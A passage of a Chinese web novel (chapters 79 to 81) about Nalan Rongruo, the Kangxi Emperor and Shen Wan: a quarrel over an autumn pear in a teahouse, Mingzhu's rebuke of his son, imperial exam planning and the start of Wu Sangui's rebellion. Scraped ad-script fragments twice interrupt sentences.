宋应星以秋梨自比,沧桑道:“我如今存在的意义,只是一只尚未腐烂的梨,看着是一只全果,实际却是泯然于内芯。梨甜多汁,人生在世,行乐容易发奋难;梨籽清苦,一命沉浮,舍命容易自救难。” “在我想来,为今之计,还是‘安’为上策。”沈宛主张道,“师傅不如不见客,好好秋养,一切身外之事和一切相关之人,等到年关再聊和再会不迟。” “是啊,这深山老林有深山老林的好处。”宋应星抬头,环视了一圈四周的群山,“清净的环境和灵秀的山水能养人,安分守己,可得天年。” “御婵觉得师傅这会儿也累了,还是入屋歇睡一阵的好。” 说着,沈宛就搀起了宋应星的左臂。 送师傅进去房间躺下以后,沈宛算着时间不晚也不早,就决定去“花鸟风月楼”的场子转一转。 能够遇见容若是机缘,能够听到有价值的情报是运气,能够吃到美味的佳肴是乐趣,反正一定有所得。 她笑着带上了两只秋梨,半走半轻功地去往目的地。 * “花鸟风月楼”内,午膳时分。 玄烨跟纳兰一起吃了几块凤梨酥、饮了一碗桃胶木瓜银耳甜汤,大赞好吃。 纳兰风轻云淡道:“三爷,三块酥点和一碗甜汤,一共是二十两银子。” “有叫三爷出钱的吗?”玄烨双眉一挑,万万没想到纳兰这般狮子大开口,“你这虚高的价格,就该放到官府去严惩!” 纳兰看向自己的好友,张纯修马上解释道:“回三爷话,是综合:纳兰公子的命名费、食材的挑选费、厨房的人工费、雅室的座客费、餐具的观赏费,这五大要素所出的定价。” 玄烨瞠目结舌,“三爷我从来没有听说过:大清酒楼有收‘菜名费’和‘餐具品鉴费’的规矩!这是纳兰定的还是他阿玛明珠定的?” 张纯修笑道:“回三爷,这是天下公认的,品尝纳兰公子的同款的点心和菜肴,都是这样的规矩。” 玄烨把纳兰盘中剩下的最后一块凤梨酥拿过来吃了,一脸不甘心。 ——什么叫做不成文的规矩?难怪纳兰不差钱! ——人人愿意给“纳兰点心”和“纳兰素膳”送钱,朕作为天子也管不了。 “纳兰,你给三爷我吃的‘酥点和甜汤’做了什么题名?” “剪珀一寸心。” “绝妙!”玄烨拍案而起,“你真不愧是我大清第一才子!这名字的确是该算钱。” “是啊,当时纳兰公子给这份搭配题字的时候,我就说高,实在是高。” 张纯修一边回忆着旧时场景,一边告知三爷: “雅客们品尝凤梨酥,需用竹片挑子把点心对半分开、再慢慢品尝,可媲美一句‘罢刀转向月,水剪凤梨片’的‘剪’字;再看那晶莹剔透的桃胶,恰似琥珀,寸心凝注,牵情最深。” 寸心无疑事,所向非徒然。 中回圣明顾,挥翰凌云烟。 【注4】 吟罢,玄烨怀着好意劝纳兰道:“你阿玛明珠也好,三爷我也罢,说了多少次,不许你读李白的诗。你自己好好顾着那算命术士的谶言,别真让李白的‘旁差诗句’给预言中了人生短短三十载。” “我命名的时候,没去想李白的那首诗。” “你骗不了我。”玄烨握住纳兰的手,把纳兰往自己身边拉,“你记着:康熙皇帝永远垂顾着纳兰容若,永远珍惜纳兰容若的寸心和妙笔。” “真的?” “换旁人,就该说多谢三爷了。”玄烨笑,“你怎么还反问?可是质疑三爷的心思?” “没有。只是心中喜悦,才下意识地做了确认。” “那三爷我就给你一个切确回复:是真的。” * 接下来,容若完全没有料到:沈宛刚刚好踏入了“花鸟风月楼”的大门。 ——秋梨飘香,心情舒畅,当遇公子。 沈宛的心思,他还未见未猜。 ——公子,我们在一起。 沈宛的话语,他还未闻未明。 倒是差点惹出了一场来自玄烨的君怒来。 真是有口难辩,有心难言。 【注1】见第67章。 【注2】大清会试考题。出自《孟子》,原文:君子不以其所以养人者害人。二三子何患乎无君?我将去之。 【注3】大清会试考题。出自《礼记·大学之道》,原文:物有本末,事有终始。知所先后,则近道矣。 【注4】李白《留别广陵诸公》。 80.第80章 容若和玄烨一起走出三楼雅室,下楼梯到一半的时候,碰见了兴致盎然而来的沈宛。 沈宛没见过“三爷”,自然是不知道“三爷”就是康熙皇帝。 她只当“三爷”是容若的朋友,没有多加理会。 “公子。”沈宛欢喜道,“约见不如恰遇,一同到楼上雅室——” “不许!”玄烨傲气道,“纳兰现在跟我走,你是哪来的没点分寸的野丫头?” “我跟公子——” 沈宛刚想说“情分深的很”,就被容若用眼神暗示住了:宛卿,别跟“三爷”硬碰硬”。 “你跟纳兰什么?”玄烨就等着她说出一句大实话来,“你该不会是为了把‘天下的纳兰公子’追到手,连脸面都不要了:不做当众表白之事、反而想跟他在雅室之内苟且吧?” “三爷误会。”容若窘迫道,“这位姑娘不过是随口一叫我的名字,她没有其他念想。” “公子,他是谁呀?干嘛不许我跟你在一起?” 说着,沈宛双手捧起了两粒秋梨,情真意切地看着容若。 容若在沈宛柔情似水的目光中,心似弹弦轻拨,意如清溪潺潺。 正如此刻,他在心中所成的这首词一般: 《秋风调·尘锵》 小红妆,秋梨香,风吹柔情到潇湘。台阶夯,心也慌,不见绪外画屏窗。谁道团圆冰轮傥?广寒不见桂花裳。 凤尾香罗,深宫锦缝,鸾车走过语未尝。石榴红裙,若草青衫,共与乘凉。摇扇处,话思量,当属阙外人间、无事共尘锵。 就在容若沉浸词境、神思往然,主动拿了其中一只秋梨在手的那一瞬间,玄烨一脸不满,怒道: “好呀!纳兰你的忠孝心去了哪儿?” “你还敢当着三爷我的面接受她送的秋梨?!真想跟她白首不相‘离’了吗?嗯?” “喂,我说你这人怎么这样啊?”沈宛不解且不爽快,“纳兰公子是你可以随便斥责的吗?” 不见那位“三爷”回答,她又一次问向容若:“公子,那人到底是谁?” 容若夹在所爱女子和所伴之君之间,低头看着手中的一只秋梨。 终于鼓起勇气,想了个周全的话术回应沈宛道:“他是……” * “说呀,公子。” “他是个不识趣的大清第一贵胄。” 玄烨咬着牙没有吼出一句:“纳兰容若你放肆!!” “不过,”容若很快补充道,“他有雄才大略,有胜过天下人的才能,是整个大清最不可缺的存在。” 玄烨的心情才刚刚回调,正要自夸一番,却听见沈宛道:“看不出来,我只觉得他就跟一个蛮不讲理的世家公子一样。” “三爷,你先请回吧!” “你叫我一个人回去?眼里还有没有我这个——” 皇上。玄烨沉下脸,世上没有臣子为了自己的私事而支开皇上的道理。 “当然是有。” 容若不知道下一句该怎么说,似乎任何一个字都是错的。 “你给我回去,回你家去!” 玄烨反击道。 “什么?” 容若没想到皇上会出这么一招。 “立刻,马上!” 玄烨指向楼梯底部。 “这是在外头,只有纳兰和三爷,不带其他层属关系。所以纳兰没法遵从三爷的意思。” “好,是你自己非要入这个局的。那我也不走了,就跟着你和那来路不明的女子一起到雅室去,看看你俩到底想干什么!” “三爷你把纳兰和姑娘当什么什么人了?一举一动盯着看,有失为……”纳兰把“为君风范”四个字吞落了肚,改口道,“有失风度。” “你俩要是要脸,我何需冷言冷眼?”玄烨一把夺过纳兰手里的秋梨,“这玩意儿你别想带走。” 容若的神色变得异常认真:“请三爷把秋梨还给我!” 玄烨态度强硬:“不还!” 容若隐忍着,“三爷不要逼我动身手,扰了这个场子的秩序不好。” “你要挑事就由不得我应战!”玄烨把秋梨往衣服里一搁,“来呀!” * 明府。 管家匆匆跑入明珠的房间,道:“老爷,不好了!接‘花鸟风月楼’张纯修的飞鸽密报,说是纳兰公子为了一只秋梨,在场子内跟皇上大打出手。” “张纯修劝过公子没有?”明珠没好气地问,“他要是不知劝,本官先拿了他是问。” “信上未说,小的也不知道啊!” “你派人去楼阁把公子带回来。” “老爷,皇上也在。”觉罗氏提醒道,“你不亲自去一趟,怕是不妥。” “本官要是去了,不就等于向全天下宣告:花鸟风月楼的一切都由明珠说了算吗?这种招人记恨和招皇上愈加置气的事情,本官不可为。” “可是咱们儿子为了一个梨就跟皇上……至于吗?” “怎么不至于啊?”明珠指向府中藏书楼的方向,“之前皇上要夺容若写的对联,容若就这么不顾大雪、披着单衣奔了出去,不让顾总管去取,连命都可以不要。万一那只秋梨就是对他而言意义不同的,他要跟皇上动手,不也说得过去吗?” “那现在如何是好?” “等人把容若领回家再说。” “你还愣着做什么?”明珠冲管家道,“还不快去办事!皇上那边本官自己会去交代,无论用什么方法,都要把公子给本官带回来!” “是。”管家应声而动。 * 夜里,沈宛独自坐在院子里的秋月下发呆。 她没有听见屋内宋应星隔着窗户喊她的声音,唯有蟋蟀的鸣叫声和流萤的点点光芒,相伴相绕,可以稍解心情。 回想起今日午后发生的事情,沈宛对那位“三爷”真的是一肚子火,要不是看在容若的份上,凭她的身手,数招就能打的“三爷”跪地求饶。 当时的情形是: 容若为了那只有着“不相离”的寓意的秋梨,真的跟三爷动了手,二人过招不到十下的时候,楼阁的主人张纯修就过来劝了架。 沈宛把自己的秋梨给了容若,伸手向三爷要被拿走的那只,三爷仍旧是不肯让任何人如意和如愿。 张纯修就来到三爷身边说理: “三爷您跟场子里的客人生什么气?萍水相逢皆是客,人家姑娘给纳兰公子送心意怎么了?也没有叫三爷您损失什么,何必多此一举横刀夺爱,不顾纳兰公子的感受、也伤了人家姑娘的心?” “我这个场子,入门有入门的规矩,入室有入室的,只欢迎雅客和真正有刺探情报之需的人前来,是断断不会发生什么:男女私会一室,行为不端,心思苟且之事的。所以请三爷放心,还了纳兰公子和人家姑娘的自由,也还了您揣在怀中的那只秋梨。” 玄烨这才觉得: 是自己过于偏执和多心多想了。 纳兰自知自持,把一只秋梨当作宝贝,也许只是为了不让那女子失望,而非彼此想要借此循序渐进、入室同欢;那姑娘不拘礼数地亲近纳兰、向纳兰赠物示好,也许只是出自一个女子的本能,而非真的对纳兰有所图。 自己作为皇帝,心眼不应该太小,就由的他俩发展得了。 沈宛见“三爷”把秋梨拿了出来,不过不是交给她而是交给纳兰,然后向她说了一句:“他喜欢吃苹果和凤梨,不是你想要讨好的秋梨。” 接下来,就有明府的管家带着几个家丁前来,传了明珠的命令叫公子回家去。 离开前,容若对沈宛道:“两只梨都归我吧!” 沈宛应了声:“好。” 然后看见“三爷”也跟着容若下了楼,等到反应过来,沈宛马上跑到三楼的窗户边往下看,果然看见“三爷”和容若各自骑马、左右并行去往明府的方向。 至于接下来明府里面会发生什么事,她就不知道了。 打道回来密林深处的“家”,沈宛总觉得遗憾。 如果自己勇敢一点,不是应该是闯进明珠府邸里面去吗?为什么选择了回避呢?是怕自己的出现会让容若难堪,还是怕后续“三爷”的说辞涉及了自己、会让容若袒护无力? 沈宛执扇扑流萤,她懊恼这样的自己。 ——以后还是小心一点的好,为了容若好,少得罪像“三爷”那样的人。 ——或者,就直接听从容若的安排,真的想他的时候就到“饮水词歌·素菜馆”去,总有能够见面的时候。即便是没有见着彼此,也能通过“词稿”和“物件”表示牵挂,见词而感于心,执物而安于念,心心念念,由此诠释,就是最好。 天上的月亮圆润清亮,两心相许的人,也应该团圆才对。 沈宛放飞了几只流萤,向着点点珠光往月处,从心问: 容若,你还好吗?你阿玛有没有对你怎么样? 还有,三爷走了吗?他有没有刻意为难你?有没有叫你积郁心事在心头?无法释怀的时候,就请你想想我吧!因为,我也想着你。 * 明府,纳兰房间。 纳兰坐在书桌前,照着玄烨的命令给施琅写密信。 信件的内容是跟台岛相关的,包括一些行动要领,以及朝廷肯调拨粮草、输送兵力、承担军费的三大诺言。 玄烨圣阅之后,道:“你写出来的东西,比朕身边的那些听从圣意之后、代为拟旨的大臣要好,既能够保证武将施琅能看懂、又没有将朝廷对态度的暴露的太明显。” 纳兰道:“皇上,你在臣家里谈政务无可厚非,可是换做谈军务,被一些不怀好意的人刺探到了风吹草动,就是明珠父子的‘居心叵测’之嫌。” “秋梨的事情朕桡了你,作为交换,你为朕做点‘军务’上的笔墨贡献难道不合理吗?朕没打算跟你通宵畅聊台岛之事。” “臣有这份心,也想出这份力,只是恳请皇上明早回宫以后,跟臣在御书房里再单独聊。” “你愿意随朕一起回宫就好,今晚朕睡你房间,你睡哪儿自己自便。” “臣安排了独自去赏红叶的行程,打算给‘饮水词歌·素菜馆’添一盆丹枫树矮苗,请皇上的意思:明日御书房商议军务过后,臣这些时间,能有还是不能有?” “朕心里明白,有些风景你是要看过心里才觉得过了秋,自己赏枫的时候小心一点,只许赞叹不许惆怅,知道了吗?” “臣听皇上的。赏枫过后,会写词给皇上。” * 渌水亭月下。 明珠父子坐在一起,桌子上放着一壶红枣莲子汤饮和一盘夜点饼食。 明珠询问:“皇上睡下了?” “嗯,睡下了。儿已经派人去宫里传话,好让太皇太后知晓和放心。” “明早你陪皇上回宫以后,阿玛会去慈宁宫给老祖宗请罪。” “阿玛要是去了,不是恰好证明了皇上有过失吗?皇上认为自己出宫私访是对的,阿玛没有必要因小失大,抚平了老祖宗的心情、却失去了皇上的信任。” “你真觉得自己派人给老祖宗传的话,能管用?” “不让皇上有失体面,不让纳兰家自觉有过就好。” “阿玛觉得秋月冷凉,你呢?” “还没到真正的寒冬,月照人月不觉人心事,人望月人埋怨清晖冷,不如不看、不如饮汤嚼饼,说些自在的话。” “你搁在房间里的地图,皇上看见了吗?” “儿出门之前卷起来了,想必皇上不会半夜起来翻。” “你在‘花鸟风月楼’对皇上动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手了?为了一只梨。” “为人为臣,总该把原本就属于自己的东西争到手吧?儿不想让着皇上,反之皇上也喜欢真性情的纳兰,就交手了一阵子。” “张纯修有把这个消息封锁住吗?” “儿不知道,过后阿玛亲自去过问就好。当时楼梯上无人往来,儿想张兄应该已经先一步做了部署和隔人耳目。” “好,你跟皇上之间的事情你自己处理,‘花鸟风月楼’的风声阿玛会善后。但是阿玛要你当面交待明白:皇上说的你被一个冒然送秋梨的姑娘迷的神魂颠倒,是怎么回事?” 容若饮了半碗了红枣莲子汤,默然面对明珠。 明珠切饼食的动作忽然停住:“你该不会是觉得自己无错吧?” 容若十指交错,“不可预测之事和无法预料之情,全是意外,算不准时间也不晓得对方是谁的,阿玛让儿如何承认有错?” “那也不能赶巧发生在皇上面前!” 明珠用指关节反敲了几下桌面。 “她不知道‘三爷’是皇上,她只认得纳兰公子。”容若真切请求,“这事已经过去了,皇上做了罢,阿玛也不要追究了可好?” 明珠责令道:“她给你的梨,明日早上你当着皇上的面扔掉。” 容若自然是不同意:“阿玛您是不是有点太过了?” “这样能够换来皇上的舒心,怎么做不得?”明珠教导儿子,“你的身份,本来也不应当拿别人随便送出的梨。” 容若本能反应道:“她不是随便送的!” 明珠语重心长道:“你把谁人的心意都看得很重的这一点,要改改。” “儿只是在乎。” 容若难以描述那一份来之不易的情感。 自己跟沈宛之间,相互理解,爱好相投,要不是满汉身份有别、门第阶级有差,自己早该把沈宛娶进门了,陷入今时今日—— “约见靠机缘,私会在寝室”的不可说境地,苦乐不均,堪与谁言? “家国天下更值得你在乎!” 明珠说的言简意赅。 “是,儿从未放下过。” 容若应的问心无愧。 “那就好。” “儿明白,阿玛放心。” * 容若到了一间侧面居室歇下。 袖云进来陪伴,为公子开窗引月,点香清神。 “深秋看丹枫树好。”容若蘸墨画枫叶,“像是李商隐在《访秋》里面说的:酒薄吹还醒,楼危望已穷。殷勤报秋意,只是有丹枫。” 袖云道:“喝点小酒、被风吹醒,不着寒凉,是多少人求之不得的状态。楼高所见,不是烟波江景、也不是天外飞鸟,而是深秋红枫,看来李商隐也是个炙热的君子。” “趁着时间充足,我做规划让自己多去各处走走。比如说:看景致、听钟鸣、观层峦、辨玄理。留给自己的余闲充盈,心情自然愉悦,病痛自然不会找上来,这样会试就能万事俱备,再一鼓作气通过殿试,成就自己的抱负。” “公子一个人行走,不觉得孤独吗?” “我的惆怅和我的心事,本就与生俱来,不是皇上说放下就能放下的。所以我宁愿当个明白人,自己面对眼中所存所见的一切。” “那公子觉得,风景是站着看好?还是坐着看好?” “分场景:室内向窗,是坐着看好,能得写意心情;外头临风,是站着望好,能抒胸中情怀。” “在皇宫中,在皇上身边呢?” “那里没有风景,只有不分四季的天光与暮色,君悦就是晴空万里,君怒就是黑云笼罩,为臣者的喘息——艳阳高照之下不为人所见、狂风暴雨之中更不为人所知。” “明早老爷的吩咐,公子照做吗?” “我倒是想叫小厨房提前一步把那两只秋梨跟冰糖一起炖了,用作早膳的甜汤。”容若摇头,“如此一来,阿玛和皇上就该双双责骂:纳兰把心给了个‘野丫头’,不忠不孝!” “公子要是不嫌晚睡,袖云现在就去炖冰糖秋梨可好?” “好。我费些时间画墨枫树,晚点睡,睡前饮你炖好的甜汤。” * 画罢墨枫树,饮罢冰糖秋梨甜汤,容若反而毫无睡意。 他觉得是自己在家中换了安睡的居室,“认生”的缘故。叫袖云去房间询问过皇上的情况之后,得到的回复是:“皇上睡的很好。” “墨染的枫树不同于写意的。曜黑色安默沉稳,像是科尔沁草原上的丹枫,对天对天地、对日月对风沙,从未向环境屈服过。” “公子觉得商隐眼中和笔下的红枫太热烈了吗?” “只是可惜了那番意境:红枫应向晚秋,赏枫人应执茶以对,商隐却是酒醒后孤立高楼,自是无限苍凉。他想展示自己心中那一团胜却红枫的炙火,哪知笔墨终究是出卖了他:丹枫斑驳断人肠,雁过无痕天际凉。” “商隐只是强作乐观,毕竟他自打娶了王茂元之女王晏媄之后,就是一步错步步皆错,最终陷入牛李党争、憾逝宦海。所以袖云觉得,商隐对待丹枫树,在对爱妻的思念中‘以乐衬悲’也是有的。” “袖云,我爱跟你论诗。” “是,” “袖云,明日我赏枫过后,挑几片最好的枫叶回来给你。” “袖云愿分公子点点愁。” “我不愁,丹枫树要心情收敛着来看才好。同样,给袖云你的枫叶,也要‘双面澄澈、素心欢悦’才好。” 浓淡交错叠,片片满长天。 相近芳犹在,风过心似添。 桃源绝风尘,洞天相往还。 持此诚慊意,随伴明君边。 题诗完毕,容若道: “这幅《秋墨染枫图》,就给皇上吧!天亮后我再去书房取印章。” 81.第81章 时值中秋当日,皇家的家宴没有大办。 过后,玄烨为赫舍里皇后的嫡长子承祜办了一场小宴,消息传到孝庄太皇太后耳中,孝庄立刻叫了玄烨去问话。 玄烨只是拿“孙儿要多兼顾着些皇后母子的感受”来回应。 孝庄责备道:“皇祖母看皇后没有那样的自傲心,只是皇上对她们母子恩宠过盛。等到除夕之时,皇上不可再这般铺张。” 玄烨道:“孙儿只是办小宴,与后宫众嫔妃一同进食事,没有请戏班子来撑场面,也没有叫歌姬舞姬来献艺,怎就成了铺张?况且承祜岁岁成长,理应有所贺,孙儿不觉得哪里不妥。” 孝庄教导道:“皇子过生日,内务府、礼部、太常寺、户部、工部自然会筹办妥帖,用不着皇上亲自施恩筹谋。皇上不要忘了,照着祖制:当朝天子的万寿节生贺、太皇太后的圣寿、嫡长子或是皇太子的诞辰,每隔三载,都应当大赦天下。所以,不可随心庆贺,更不可未到先贺。“ “孙儿知错了。“玄烨垂首,”以后不再犯就是。“ 有侍卫来报:“启禀皇上,太皇太后,翰林院的蔡大人和徐大人等,已经拟好会试试题,恭请皇上圣阅。” 玄烨立刻向孝庄跪安,回到养心殿审题。 * 玄烨端坐在主座上。 顾问行在玄烨的目光中向前,对那两位翰林院的大儒道:“蔡大人,徐大人,你俩拟好的题目可以呈上来了。” “且慢。”徐乾学正色道,“请皇上让纳兰公子回避。” 纳兰在玄烨挥手的动作中,应了“臣告退”三个字,就离宫回家了。 徐乾学把自己“承明制、启新制”弄出来的《四书五经》填空题样题上交,然后道:“皇上,臣跟诸位大人慎重商讨之后,决定采用‘题长法’和‘截搭题’来设题。【注1】” 玄烨一看,感觉自己的脑子都差点没有转过来。 “徐大人,有些文句摘录,在你们眼里好似简单,但是放到天下读书人笔下,就是道道难关,如此你还觉得可行吗?” “回皇上,要是不将《四书五经》当中的文句错序重排、错章交接、乱移自点,恐怕难以考察读书人们的思辨能力。难归难,确实判断读书人们心理素质和应变本事的新招,还请皇上酌情谏纳。” 玄烨没好意思承认,自己要是乔装打扮、跟纳兰一起去赴考,怕是要对徐乾学弄出来的“新式试题”交白卷。 “蔡大人,你的意思呢?” “回皇上,科举之变,不离其宗。只要考生们的学问足够扎实,定是能够对难题迎刃而解。至于答不上来者,肯定不是个数,酌情结合其他科目的卷子再录取就是。” “好,朕准了!”玄烨一锤定音,“这个新题制,以后就这么施行下去。科举每三年一次,足够天下的考生们准备。” 蔡启僔和徐乾学齐声道:“皇上英明。” “翰林院准备的样题,就先在朕这里放着,等到朕批复以后,再最终定夺。你等不可做出泄题之事来。” 徐乾学嘴上应着“遵命”,心里却想:皇上您没有把试题单独拿出来跟纳兰容若一起讨论算好。 “你等回去翰林院以后,好好把前几次科举的卷题拿出来再审,写一份领悟书到朕手里来。” “皇上。”徐乾学申诉道,“俗话说承前启后,臣等要是向后去总结得失与经验,怕是会陷入之前的命题套路和阅卷遐思之中,不利于推陈出新来筹备接下来的会试啊!” “怎么?”玄烨冷问,“徐大人你连前面的真题和判题标准都不敢面对了吗?” “臣不敢。”徐乾学不敢触怒君颜,“臣只是实话实说、就事论事罢了。” “那就照着朕的旨意去做,你等退下吧!” 蔡徐二人对看了彼此一眼,才悻悻向康熙皇帝跪安。 玄烨叫了顾问行上前,道:“会试的试题有了眉目是好事,但最终的裁决者还是朕。” 顾问行奉茶道:“照奴才看,会试的题目再难,有纳兰公子这块珠玉在,也能交出一份满分的答卷来,不会叫会试落得一个:同期的举人们‘无可作答’者的尴尬局面。” “顾总管。”玄烨一磕茶杯盖子,“你是变着法儿来向朕说:纳兰容若才学天下第一吗?” 顾问行慌给自己圆场道:“奴才不敢,位高莫过是天子,才高也当属是天子。” “你退下吧,朕想一个人静一静。” “万岁爷,依奴才所见,您是被蔡大人和徐大人送来的样题伤了自尊,莫不如是您自己来出题可以挽解这心中的忿懑情绪。” “有道理。”玄烨点头,“朕指望那些大儒们卖弄学问来刁难会试考生们做什么?朕亲自出题来选拔人才最为上策。” 没一会儿,玄烨拿起样题的纸张,交给顾问行,嘴角勾起一丝令人意味难懂的笑。 “顾总管,你安排人把这些送到纳兰手里去,就说是朕的意思,叫他自己开悟。” “万岁爷,您把已经用不上了的样题拿去挑衅纳兰公子,奴才就怕纳兰公子太聪慧,一下子把圣意了然于胸。” “挑衅?朕有吗?” * 纳兰才走出皇宫城门外,就看见一统卫策马急速而来。 他朝那马上之人喊问:“出什么事了?” 统卫头也不回,应道:“吴三桂剪辫复冠,聚集人马造反了!” 往前,回明府可以暂得安宁。 往后,返君侧必将波涛汹涌。 纳兰一斟酌,毅然决然去往康熙皇帝身边。 养心殿内,玄烨惊座而起。 “你说什么?吴三桂这个奸雄,竟然堂堂易了我大清的发辫和衣装,高举反旗?而且吴三桂还拿下了朱三太子,结果又叫那朱三太子逃了?” 统卫单膝跪地,“回皇上,如今我朝兵力还未有所动作,只是有几员勇将在追查朱三太子的行踪。一经捉拿,即刻带回刑部审问。” “糊涂!”玄烨一拍桌子,“吴三桂是故意将那不知真假的‘朱三太子’先捉后放,为了引我清军出动,好顺势反攻,那些大将怎么能中了吴三桂的奸计——真的去追他放出来的诱饵?” “身在战场中,那些勇将自然是没有皇上您看的透彻啊!”统卫抱拳询问,“还请皇上示下,我军该如何行动?” “稳住阵脚,观察吴三桂的兵马北上的路线之后,再伺机而动,所有击破。另外,八百里加急传朕口谕:朱三太子之事,暂且不必理会,除非是有人自称真命天子要与大清背道而驰,则杀无赦!” “奴才明白,这就去办。” 玄烨才匆匆向外走去,就跟一样匆匆而入的纳兰撞了个满怀。 纳兰正要叫皇上恕罪,就被玄烨拉了起身。 “吴三桂反了!”玄烨咬牙切齿,“你跟朕一起,到慈宁宫去!” “是!”纳兰应道,“皇上,吴三桂先反,我清军平藩师出有名,天道必将站在您和大清这一边。故而您分寸不要乱,照着臣之前在地图上所画的线路,结合实情来下判断,定能做出正确决策。” “纳兰,那幅地图你带在身上没有?” “没有。但是臣可以当着皇上您和老祖宗的面,边画边讲……” “好,先这么着吧!地图是样好东西,绘制者存谋略和器量于心,观图者解战术和实况于眼,心到眼到,必将出上上策!” * 慈宁宫。 孝庄太皇太后处变不惊地稳坐在正殿中央,威严地看着玄烨和纳兰。 纳兰在一边画地图,祖孙俩则面对面地在对话。 孝庄问:“吴三桂叛逆大明,被汉人骂为第一国贼!如今他竟然能够集结汉人造反于我大清,皇上认为是何故?” “这吴三桂快六十岁了,孙儿才二十出头,那些汉人们估计是觉得:指望经历过更多世故的人更指望的上吧!孙儿心里头自然是不爽快:分明是我大清入主中原、倡导满汉一家而治,那些汉人却宁愿为吴三桂所煽动,认为我大清是侵占和亵渎他们的正统文化,才倒向了反复无常的恶贼吴三桂!” “皇上要是起步就没有拿出对的主意来,以后必将使得吴三桂祸满天下。” “幸亏是朕有先见之明,河运漕运早已派人疏通、改造、治理、设防、步兵,吴三桂即便是走水路,我大清也能强力御敌。” “皇上是决定挥师与吴三桂正面交锋吗?” “打,必须要打!”玄烨满怀雄心,“但是要以河为界,以北面为地盘来打!” “孩子。”孝庄转向纳兰。 “臣在。”纳兰搁笔回头。 孝庄问道:“皇上如今一脑子热血,以为打败了吴三桂一个人,就能让另外两个藩王臣服、就能让天下百姓脱离苦海,却不知道这一仗要是打的不对,即便是胜利了,也会激化满汉矛盾,你怎么看?” 纳兰应道:“吴三桂只要离开云南且不走水路,就是虎落平阳,朝廷大有把握将他拿下。而汉人们之所以追随他和拥护他,有心中认宗源之因,也有惧怕他和服从他之果,所以是人人忐忑。臣认为,满汉矛盾不会因为这一仗而一发不可收拾。” 孝庄半相疑:“你也觉得应当马上攻打?” “是。”纳兰肯定道,“吴三桂的反心和动作已经明显,朝廷对他招安彻底无用。退一步讲,即便是吴三桂谎称同意撤藩、在云南颐养天年,那朝廷也没法答应他的《抚恤条款》,还不如与之决战,年年推进,可得善果。” “好!”孝庄点了头,“既然战事迫在眉睫,那就排兵布阵、隔海相望备战!” “来人!”玄烨对外喊了一声。 “请皇上吩咐。”立刻有侍卫进来。 “传朕命令:第一,立刻抓拿吴三桂之子吴应熊,以免他弃父而逃,去往台岛纠集新势力;第二,派精兵南下,务必封锁住广东和福建两地的邮便、粮草、兵马通路,以免耿精忠,尚可喜联手内援吴三桂;第三,吴三桂的部下王辅臣等人手中,握着不下十万兵士,传朕意思:他等若是愿意归顺我大清,起兵倒戈于吴三桂,功成之后,朕大大有赏。” “臣即刻去办!” 听罢,那侍卫负命告退。 “皇阿奶,纳兰,朕认为:现在吴三桂和我大清两方势力都有所出动,那不知道真假的‘朱三太子’也不会袖手旁观,他怕是会将目标转向皇宫,所以朕要彻查内宫之人和她们身边的奴才们的底细,免得祸起内宫,更让朕在朝堂之上难安。” “好。”孝庄赞同,“那皇上就在内宫多加派侍卫巡逻,以防有不测风云。” * 康熙皇帝的宣战命令既出,整个皇城内外就进入了紧急的备战和防御状态。 却说,索额图是在督促儿子格尔芬读书时得知消息的,就对来报信的人道: “如今皇上决策是直接通过太皇太后的意思就可以了吗?不必找诸位议政王大臣和内阁大臣大臣商议了?也不必拿到朝堂上去听文武百官的意见了?” 报信者道:“奴才从耳目口中听的一句话,皇上说:‘国家大事要紧,纳兰也要紧。’就是不知道皇上对公子是怎么个要紧法,万一耽误了军政大事,可是会亡国的呀!” “来人,给本官把这个口出恶言之人拉出去砍了!” 索额图不留余地地大喝了一声。 “索大人饶命啊……” 报信者一边挣扎一边苦苦哀求。 “你敢说出‘亡国’而字来,就是犯了死罪,本官断是不能饶你!” 索额图未给报信者一线生机。 格尔芬冷问:“阿玛既然把人杀了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是相当于在心中自存了那么几番忠君的底气?但是有句话儿不得不说,阿玛您不会打仗,军国大事您帮不了皇上什么忙,还是安安分分地留在家里的好。” “本官要是呆在家里,那明珠恐怕就要在皇上面前一手遮天了!”索额图在心中反复掂量,“明珠不过是个熟读了几本《兵书》的家伙,也就会拿嘴上功夫来蛊惑君心。” “阿玛,您不觉得羞耻吗?”格尔芬一针见血地戳破了索额图的心思,“现在是敌我交锋的初阵关键时期,您不思策报国,反而是再掀党争,真是毫无为官之道、不怀为人之本!” “你敢教训本官?”索额图嗔怒,“本官跟明珠相争,争的不只是权力和地位,更是双方党羽的丰满或残缺。你明明什么都不懂,却敢这般对本官说话?” 格尔芬道:“皇上说纳兰要紧,自然有皇上的道理,阿玛您不必猜三猜四,就跟是皇上为了大清国只保护纳兰一个人一样。至于明珠大人,如今他领着内阁的头部差事,本就等于是皇上的顾问,多跟皇上讨论军机也是应该,阿玛您怎么就爱往明珠大人不安好心上面去论己见?” 索额图纵然心中有再多话想训想骂,也最终化作了一句:“你不要把心向着纳兰父子。” “儿只是就事论事,给阿玛您做个提醒罢了。” “本官自有定夺,进宫面圣之事,你阻拦不了本官。” “那儿就跟阿玛您说正事。”格尔芬指着桌面上的几卷典籍,问道,“照着如今的战争局势和打法,大清国能否过个吉祥年都不好说,明年二月份的春考还能不能如期举行?” “皇上重教化,自然是不会错事选拔人才的机会。”索额图心知肚明,“再苦再难,会试和殿试都会举办,而且你记着,要全力以赴!” “儿要是考上了,难不成以后就天天去翰林院修书?跟青灯黄卷过一辈子?” “你这是什么话?那些汉人读书人们就指望着走这条青云路来受人尊重,你怎么反过来说自己被束缚了?更何况——” 索额图对着格尔芬怪笑,“你有本事修书吗?你能逐字逐句把《四书五经》和《资治通鉴》《史记》看完就不错了!修书是你崇拜的‘纳兰兄’才静得下心来干的苦活和累活。” “那儿考试的目的是什么?”格尔芬有些厌恶地看着索额图的嘴脸,“给纳兰兄作伴,还是给赫舍里一族光宗耀祖?” 索额图对儿子故作抬举:“你是为你自己读书,我大清的八旗子弟全你当榜样呢!” “儿还不如邀了纳兰兄一起上沙场,英勇杀敌,以身报国……” “哈哈哈。” 索额图仰天大笑。 “儿是认真的,有何可笑?” 格尔芬觉得自己被阿玛小看了。 “你要是有本事说的动纳兰,就尽管去。”索额图把笑脸一收,阴险道,“最好是你报国、他殉国!” “儿现在就跟阿玛您一起入宫,向皇上请求出战——” 